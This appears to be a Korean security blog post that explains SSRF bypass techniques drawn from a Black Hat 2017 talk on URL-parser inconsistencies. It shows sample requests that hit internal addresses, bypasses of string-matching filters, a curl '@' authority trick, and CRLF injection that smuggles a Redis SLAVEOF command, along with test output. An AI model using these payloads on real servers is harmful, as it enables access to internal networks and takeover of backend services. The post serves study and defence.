[WEB HACKING] New attack vectors in SSRF(Server-Side Request Forgery) with URL Parser

Blackhat 2017 USA 자료를 보던 중 하나 흥미로운 발표 자료를 보게되었습니다. 읽고 테스트해보니.. 실무에서 바로 쓸 수 있을정도의 기법이더군요.

오늘은 URL Parser의 문제를 이용한 SSRF 우회기법에 대한 이야기를 하려합니다.

시간나시면 꼭 읽어보세요. https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

What is SSRF

SSRF는 Server-side Request Forgery의 약자로 CSRF와 유사하지만 클라이언트가 아닌 서버가 직접 호출해서 발생하는 문제입니다. 이를 통해서 외부에서 내부망에 대한 접근이나 스캔, 각종 보안장비를 넘어갈 수 있는 중요한 키 포인트죠.

물론 저도 굉장히 좋아하고 잘 애용하는 공격기법 중 하나입니다.

먼저 원리를 간단하게 설명드리면 사용자 입력을 받아 서버가 직접 다른 웹이나 포트에 직접 접근해서 데이터를 가져오는 기능들에서 주로 발생합니다. 별로 없을 것 같은 기능이지만 실제로 굉장히 많이 쓰이고 있는 기능이며 한때는 OWASP Top 10에도 올라왔었을만큼 인기있는 공격기법이였습니다.

프리뷰를 보는 페이지가 있다고 가정하고, 이에 따른 정상적인 요청은 아래와 같을겁니다.

showPreview.php?url=www.hahwul.com/[유저의입력]

공격자는 아래와 같은 형태로 공격을 수행하겠지요.

showPreview.php?url=192.168.56.101/server-status#[내부망의 주소를 호출]

대체로 이에대한 대응을 도메인에 대한 검증 로직을 추가하는데 단순 문자열 검증이 아닌 실제 도메인을 검증하는 로직이 들어가야하지만, 성능 이슈 및 여러가지 이유로 문자열 검증만 적용된 곳을 많이 보았습니다. 이런 경우 아래와 같은 형태로 우회를 시도하지요.

패턴: google.com 만 허용하는 경우

url=google.com.hahwul.com url=www.hahwul.com#google.com url=www.hahwul.com?google.com url=www.hahwul.com/google.com

단순 문자열 검증의 경우 google.com으로 검증해도 다 www.hahwul.com으로 넘어갑니다. 이는 공격자가 테스트하며 규칙을 파악하면 할수록 여러 우회패턴들이 발생할겁니다.

URL Parser들의 Pasing 방법

오늘 기법을 알아가기 전에 먼저 각 언어별 URL Parser에 대한 동작 방식을 알아야 이해가 쉽습니다.

RFC3986 기준으로 URL의 컴포넌트를 보면 아래와 같습니다.

맨 앞부분 프로토콜 명시부분이 스키마, 그 뒤로 Authority, Path 등등 나뉘어져 있죠. 각 언어들에는 URL을 분석하는 Parser가 존재합니다. 해당 언어로 만들어진 웹 서버나 서비스는 당연히 그 Parser를 이용해서 요청에 대해 분석하게 됩니다.

제 a2sv 코드만 봐도..


import socket
import datetime
from urlparse import urlparse
sys.path.append(os.path.dirname( os.path.abspath( __file__ ))+"/module")
from M_ccsinjection import *
from M_heartbleed import *
..snip..

보편적인 루비 코드를 봐도..

require 'uri'
uri = URI.parse('http://www.hahwul.com')

쉽게 사용하고 있지요.

재미있는점은 이 Parser 들이 URL을 분석하는 과정이 약간씩 다른다는 점입니다. Parser 또한 완벽하지 않기 때문에 모든 사용자의 입력을 예상할 순 없었습니다.

각 Parser의 헛점을 보고 새로운 공격 벡터에 대해 도출이 가능한것이구요.

그럼 어떤 케이스들이 있는지 한번 봐볼까요?

SSRF with URL Parser 1(@) feat cURL

눈치가 빠르시면 벌써 눈치채셨을겁니다. URL Parser들이 URL을 분리하는 부분이 다르기 때문에 특정 부분들은 다시 도메인으로 인지시킬 수 있습니다. curl을 통해서 쉽게 테스트해보죠.

#> curl http://google.com:80@192.168.56.88/asd

404 Not Found

404 Not Found


nginx/1.10.3 (Ubuntu)

제 PC에서 로그를 찍어보면..

#> tail -f /var/log/nginx/access.log …snip… 192.168.56.88 - google.com [14/Sep/2017:21:52:39 +0900] “GET /asd HTTP/1.1” 404 178 “-“ “curl/7.47.0”

google로 넘어가지 않고 제 PC로 넘어오네요. 왜그럴까요?

curl은 @를 기준으로 우측을 도메인으로 사용합니다. 메일주소를 생각해보시면 좋아요. 웹에서 인지하기에는 google.com으로 끊어졌지만, 내부 curl로 넘어오는 순간 오른쪽 부분을 도메인으로 보고 호출하게 됩니다.

자세히 봐볼까요?

#> curl http://127.0.0.1:80@www.hahwul.com/ -vvv

  • Trying 172.217.27.83…
  • Connected to www.hahwul.com (172.217.27.83) port 80 (#0)
  • Server auth using Basic with user ‘127.0.0.1’

    GET / HTTP/1.1 Host: www.hahwul.com Authorization: Basic MTI3LjAuMC4xOjgw User-Agent: curl/7.47.0 Accept: /

    < HTTP/1.1 200 OK < Content-Type: text/html; charset=UTF-8 < Expires: Thu, 14 Sep 2017 09:13:58 GMT < Date: Thu, 14 Sep 2017 09:13:58 GMT < Cache-Control: private, max-age=0 < Last-Modified: Wed, 13 Sep 2017 09:46:02 GMT < X-Content-Type-Options: nosniff < X-XSS-Protection: 1; mode=block < Server: GSE < Accept-Ranges: none < Vary: Accept-Encoding < Transfer-Encoding: chunked < <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

HAHWUL :: 하훌 localhost로 데이터를 호출했지만 curl은 www.hahwul.com 을 쿼리하고 기존 도메인을 계정으로 인지하여 Authorization으로 넘겨줍니다. 그래서 www.hahwul.com 으로 요청이 넘어가고 응답값을 받아오지요. ## SSRF with URL Parser 2(개행문자) feat cURL 두번째 방법은 개행문자를 이용한 방법입니다. 개행문자로 SLAVEOF로 www.hahwul.com을 호출했을 때 어떤일들이 일어나는지 보도록 하죠. #> curl http://127.0.0.1:80\r\rnSLAVEOF www.hahwul.com -vvv * Rebuilt URL to: http://127.0.0.1:80rrnSLAVEOF/ * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > GET / HTTP/1.1 > Host: 127.0.0.1 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.10.3 (Ubuntu) < Date: Thu, 14 Sep 2017 09:16:07 GMT < Content-Type: text/html < Content-Length: 11321 < Last-Modified: Fri, 11 Nov 2016 10:47:50 GMT < Connection: keep-alive < ETag: "5825a1d6-2c39" < Accept-Ranges: bytes < <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Modified from the Debian original for Ubuntu Last updated: 2014-03-19 See: https://launchpad.net/bugs/1288690 ..snip... </div> </div>
</body> * Connection #0 to host 127.0.0.1 left intact * Rebuilt URL to: www.hahwul.com/ * Trying 216.58.220.243... * Connected to www.hahwul.com (216.58.220.243) port 80 (#1) > GET / HTTP/1.1 > Host: www.hahwul.com > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: text/html; charset=UTF-8 < Expires: Thu, 14 Sep 2017 09:16:07 GMT < Date: Thu, 14 Sep 2017 09:16:07 GMT < Cache-Control: private, max-age=0 < Last-Modified: Wed, 13 Sep 2017 09:46:02 GMT < X-Content-Type-Options: nosniff < X-XSS-Protection: 1; mode=block < Server: GSE < Accept-Ranges: none < Vary: Accept-Encoding < Transfer-Encoding: chunked < <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> HAHWUL :: 하훌 ## SSRF with URL Parser 3(CR-LF %0d%0a) feat cURL 2번과 거의 동일합니다만 단순하게 CR과LF를 이용한 방법입니다. \r\n과 따지고보면 같지만 표기하는 방식이 달라 분리했습니다. #> curl http://127.0.0.1:80%0d%0aSLAVEOF www.hahwul.com -vvv * Rebuilt URL to: http://127.0.0.1:80%0d%0aSLAVEOF/ * Trying 127.0.0.1... * Connected to 127.0.0.1 (127.0.0.1) port 80 (#0) > GET / HTTP/1.1 > Host: 127.0.0.1 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.10.3 (Ubuntu) < Date: Thu, 14 Sep 2017 09:42:25 GMT < Content-Type: text/html < Content-Length: 11321 < Last-Modified: Fri, 11 Nov 2016 10:47:50 GMT < Connection: keep-alive < ETag: "5825a1d6-2c39" < Accept-Ranges: bytes < <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Modified from the Debian original for Ubuntu Last updated: 2014-03-19 ..snip.. </div>
</body> * Connection #0 to host 127.0.0.1 left intact * Rebuilt URL to: www.hahwul.com/ * Trying 172.217.25.211... * Connected to www.hahwul.com (172.217.25.211) port 80 (#1) > GET / HTTP/1.1 > Host: www.hahwul.com > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: text/html; charset=UTF-8 < Expires: Thu, 14 Sep 2017 09:42:25 GMT < Date: Thu, 14 Sep 2017 09:42:25 GMT < Cache-Control: private, max-age=0 < Last-Modified: Wed, 13 Sep 2017 09:46:02 GMT < X-Content-Type-Options: nosniff < X-XSS-Protection: 1; mode=block < Server: GSE < Accept-Ranges: none < Vary: Accept-Encoding < Transfer-Encoding: chunked < <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> HAHWUL :: 하훌 이친구도 동일하게 잘 넘어가네요. ## Conclusion 해당 Blackhat 문서가 SSRF를 하는데 있어 아주 좋은 발표자료였다고 봅니다. URL Parser에 대한 규칙을 찾고 새로운 공격벡터를 이끌어냈다는 점에서 굉장히 매력적으로 보이네요. 저는 원리에 대해 쉽게(?) 설명드리기 위해 curl로 단편적으로 이야기드렸지만 python, ruby, nodejs, php 등등 각각 언어에서 사용하는 Parser의 규칙에 따라 정말 많은 방법의 공격코드들이 나올 것으로 생각됩니다. 아래는 각 Parser 별 취약한 공격에 대해 정리된 이미지입니다. |[![](https://1.bp.blogspot.com/-7BD5x4WaKRs/WbqNKeqUPyI/AAAAAAAACeU/7IKN-VTOkWkZilD8QDokC1UEI2oYuBTvwCLcBGAs/s640/d1.PNG)](https://1.bp.blogspot.com/-7BD5x4WaKRs/WbqNKeqUPyI/AAAAAAAACeU/7IKN-VTOkWkZilD8QDokC1UEI2oYuBTvwCLcBGAs/s1600/d1.PNG) | |--------| |https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf| 마지막으로.. 해당 기법으로 발표자는 github 기업용 버전에 취약점을 찾아 $12,500을 상금으로 받았다고 하네요. 관련해서 영상으로 demo 시연한게 있으니 구경가시죠. ## Reference [https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf) [https://tools.ietf.org/html/rfc3986](https://tools.ietf.org/html/rfc3986)